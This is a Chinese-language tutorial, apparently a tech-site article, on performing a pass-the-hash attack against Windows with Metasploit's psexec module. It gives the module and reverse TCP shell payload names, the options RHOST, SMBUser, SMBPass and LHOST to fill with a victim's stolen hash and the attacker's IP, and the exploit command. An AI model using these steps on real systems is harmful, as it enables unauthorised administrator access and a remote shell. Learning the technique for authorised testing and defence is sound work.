我们在曾经的文章中介绍过一种不需要知道用户密码、也不需要通过零日漏洞或钓鱼邮件就可以达到入侵用户系统的攻击方式—哈希值传递攻击。那么在今天的文章中我们将通过实例介绍如何使用Metasploit来传递哈希值。
为了执行这个攻击,我们需要两个东西。首先,我们需要从管理员用户窃取哈希值,有很多不同的方法来获取密码哈希。除了窃取哈希外,我们还需要Metasploit副本,我们将使用该工具来执行此次攻击。
Metasploit是由HD Moore开发的免费渗透测试框架,互联网上可以找到很多有关Metasploit的使用文章,虽然本文中我们仅使用Metasploit用于哈希值传递攻击,但实际上,Metasploit可以用于非常广泛的攻击。
或者,大家也可以下载和使用Backtrack 4。BT4是专用于攻击和渗透测试的工具,并有很多预先安装和预编译的工具,而Metasploit就是其中之一。你可以点击此处下载,并可以在/pentest/exploit/framework3文件夹中找到Metasploit。在下面文章中的屏幕截图都是来自于BT4.
有了窃取的哈希值和Metasploit工具在手后,我们就可以开始准备攻击了。为了开始发动攻击,你必须首先打开Metasploit控制台。在BT4中,你可以打开/pentest/exploit/framework3文件夹并输入./msfconsole来打开控制台。
Metasploit是一个真正的框架,它依赖于使用各种模块来执行行动。在本文的情况下,我们将使用psexec模块。Psexec是很常见的工具(并不是仅见于Metasploit),它主要用于远程执行系统中的程序,并且将这些程序的输出重定向回你所使用的系统。为了使用这个模块,输入使用windows\smb\psexec并点击Enter键。而你正在使用的shell提示应该更改为反映该模块的使用情况。
下一步,我们必须设置我们传递的有效载荷。Metasploit将会打开至受害系统的非常基本的连接,这样一旦用户名和哈希提供给我们正确的身份验证,有效载荷就能够使用Psexec确定执行了什么操作。在本文中,我们是要对这个受害系统发动恶意攻击,所以不只是打开一个特定程序,我们想要实现可以用来执行很多恶意命令的命令shell程序。实现这一点有很多有效方法,其一就是使用反向TCP shell,这个有效载荷会执行cmd.exe并通过我们的连接回传,这样我们就能够远程访问资源。为了使用这个有效载荷类型,设置有效载荷windows/shell_reverse_tcp。
为了使用这个模块和有效载荷,我们需要配置几个选项。而为了打开这些选项你可以输入显示选项并按下回车键。
为了设置我们需要的选项,我们将需要使用这个语法“set [option name] [value]”,以下值应该进行设置:
RHOST – 受害系统的IP地址
SMBPass –受害系统的哈希
SMBUser –受害系统的用户名
LHOST –发动攻击机器的IP地址
在大多数情况下,这些是需要配置的仅有的四个选项,其他选项都可以选择默认配置,当你配置好这些选项后,输出结果应该与下图类似。
从这一点来看,我们现在已经完成了所有准备工作,现在就可以开始发动攻击了。为了发动攻击,只需要简单输入exploit并按下回车键。如果成功的话,你将看到与下图类似的画面,这是一个很不错的windows命令shell。这样我们就能够在不需要管理用户密码的前提下对所有机器进行管理员级别的控制。
【编辑推荐】